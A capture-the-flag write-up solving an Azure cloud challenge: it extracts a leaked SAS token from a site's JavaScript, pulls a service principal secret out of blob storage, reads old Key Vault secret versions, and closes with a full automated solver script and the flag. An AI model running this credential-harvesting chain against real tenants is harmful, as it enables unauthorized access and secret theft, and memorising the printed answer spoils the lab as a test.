CryptoCabana (Azure / Cloud CTF) — How to Solve
Target: static site https://cryptocabanaf5scjagc.z13.web.core.windows.net/
Lab: Azure portal (THM Cloud CTF), sub Az-Subs-CTF, user **Username**
Answer format: THM{...} (48 chars) — ***{***_**_****_***_**_******}
TL;DR
- The kiosk site's
app.jsleaks an account-level storage SAS token (ss=b&srt=sco&sp=rl) for storage accountcryptocabanaf5scjagc. - Manual REST
comp=listfails with "sr is mandatory" — but the Azure Storage SDK (ContainerClient.list_blobs()) works with the same SAS and enumerates every container:backups(empty),$web, andvault. -
vaultholdsbackup-service-account.json+seed_phrase.txt. -
backup-service-account.jsonis a service principal (client_id,client_secret,tenant_id) with read access to Key Vaultccabana-kv-f5scjagc. - Key Vault secrets
key-shard-1andkey-shard-3are flag fragments.key-shard-2was rotated (current value = "Rotated this after IT flagged it..." note). - Listing secret versions reveals the old
key-shard-2value = the real middle shard. - Concatenate shard-1 + old shard-2 + shard-3:
THM{n0t_ur_k3ys_n0t_ur_c01ns!} — "not your keys, not your coins"
Steps in detail
**1. Pull apart what the kiosk hands out for free
**
GET /app.js on the static site:
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
-
srt=sco→ account-level SAS;sp=rl→ read + list; valid until 2099, HTTPS only. - Interesting: a backup kiosk that can never write (no
winsp).PUT→AuthorizationPermissionMismatch. AndList Blobsvia raw REST →sr is mandatorybecause the signature was built without list query parameters.
2. Follow the trust somewhere the kiosk page never points
Use the Azure SDK — it performs the list differently than the raw REST call and works despite the quirky SAS:
from azure.storage.blob import ContainerClient
c = ContainerClient("https://cryptocabanaf5scjagc.blob.core.windows.net", "vault", credential=SAS)
[b.name for b in c.list_blobs()]
# ['backup-service-account.json', 'seed_phrase.txt']
(Also enumerated: backups = empty, $web = app.js + index.html.)
3. The vault's real values (second ask)
Download backup-service-account.json:
{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}
A service principal that can read Key Vault secrets. (The 12-word seed_phrase.txt is a decoy/red herring.)
4. A vault that won't give up the real values on the first ask
from azure.identity import ClientSecretCredential
cred = ClientSecretCredential(tenant_id, client_id, client_secret)
tok = cred.get_token("https://vault.azure.net/.default").token
GET https://ccabana-kv-f5scjagc.vault.azure.net/secrets?api-version=7.4:
| secret | value |
|---|---|
key-shard-1 |
THM{n0t_ur |
key-shard-2 |
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look. |
key-shard-3 |
ur_c01ns!} |
master-key |
read denied (403) — decoy |
Shard-2 screams rotation. List its versions:
GET /secrets/key-shard-2/versions?api-version=7.4
-
c922c422(new) → the "Rotated..." note -
3d6492d2(old, created 2s earlier) →_k3ys_n0t_
5. Assemble
THM{n0t_ur + _k3ys_n0t_ + ur_c01ns!}
FLAG: THM{n0t_ur_k3ys_n0t_ur_c01ns!}
Key takeaways
- Account-level SAS tokens may not list via raw REST with the parameters you'd expect — try the official SDK before brute-forcing blob names.
- Secret rotation on Azure Key Vault preserves old versions;
GET /secrets/{name}/versions+ fetching each version recovers the pre-rotation value. - The @0xMia hint ("if a value looks freshly rotated, ask yourself what it looked like five minutes before that") maps directly to old Key Vault secret versions.
Files
-
solve_cryptocabana.py— fully automatic solver (SAS → vault blobs → SP login → KV shard versions → flag). Usage:python solve_cryptocabana.py [site-url]; nothing hardcoded beyond the default site URL.
import sys
import re
import requests
from azure.identity import ClientSecretCredential
from azure.storage.blob import BlobServiceClient
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
DEFAULT_SITE = "https://cryptocabanaf5scjagc.z13.web.core.windows.net"
def main(site):
# [1] Pull apart what the kiosk hands out for free (app.js leaks the SAS)
js = requests.get(f"{site}/app.js", timeout=15).text
account = re.search(r'const STORAGE_ACCOUNT = "([^"]+)";', js).group(1)
sas = re.search(r'const BACKUP_SAS = "\?(.*?)";', js).group(1)
print(f"[1/6] SAS + storage account extracted from {site}/app.js -> {account}")
# [2] Enumerate ALL containers with the account SAS (no names guessed)
svc = BlobServiceClient(f"https://{account}.blob.core.windows.net", credential=sas)
containers = [c.name for c in svc.list_containers()]
print(f"[2/6] containers: {containers}")
# [3] Find the container that holds backups (skip $web - that's the kiosk itself)
vault_ct = None
for name in containers:
cc = svc.get_container_client(name)
if name == "$web":
continue
blobs = [b.name for b in cc.list_blobs()]
print(f" {name}: {blobs}")
if blobs:
vault_ct = (name, blobs)
assert vault_ct, "no populated container found"
cname, blobs = vault_ct
# [4] Read every blob in it until we find the service principal backup
sp = None
for bname in blobs:
data = svc.get_blob_client(cname, bname).download_blob().readall()
text = data.decode("utf-8", errors="replace")
cand = dict(re.findall(r'"([\w_]+)":"([^"]*)"', text))
if cand.get("client_id") and cand.get("client_secret") and cand.get("key_vault_uri"):
sp = cand
print(f"[4/6] service principal found in {cname}/{bname} (tenant {cand['tenant_id']})")
break
assert sp, "no service principal backup blob found"
# [5] Login as the backup service account (creds came from the blob, nothing hardcoded)
cred = ClientSecretCredential(sp["tenant_id"], sp["client_id"], sp["client_secret"])
tok = cred.get_token("https://vault.azure.net/.default").token
H = {"Authorization": f"Bearer {tok}"}
kv = sp["key_vault_uri"]
secrets = requests.get(f"{kv}secrets?api-version=7.4", headers=H, timeout=20).json()
shards = {}
for s in secrets.get("value", []):
name = s["id"].split("/")[-1]
versions = requests.get(f"{kv}secrets/{name}/versions?api-version=7.4", headers=H, timeout=20).json()
cands = []
for v in versions.get("value", []):
vid = v["id"].split("/")[-1]
vv = requests.get(f"{kv}secrets/{name}/{vid}?api-version=7.4", headers=H, timeout=20)
if vv.status_code != 200:
continue
val = vv.json().get("value", "")
if not re.search(r"\s", val): # plain token = shard material
cands.append((v["attributes"].get("created", 0), val))
elif "Rotated" in val or "recoverable" in val:
print(f" {name} was rotated -> old version holds the real shard")
if cands:
cands.sort()
shards[name] = cands[0][1] # oldest = pre-rotation value
print(f"[5/6] shards recovered: {shards}")
# [6] Assemble in name order and validate
flag = "".join(shards[n] for n in sorted(shards))
assert flag.startswith("THM{") and flag.endswith("}") and len(flag) > 25, f"bad flag: {flag}"
print(f"[6/6] FLAG: {flag}")
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_SITE
main(url.rstrip("/"))

Top comments (0)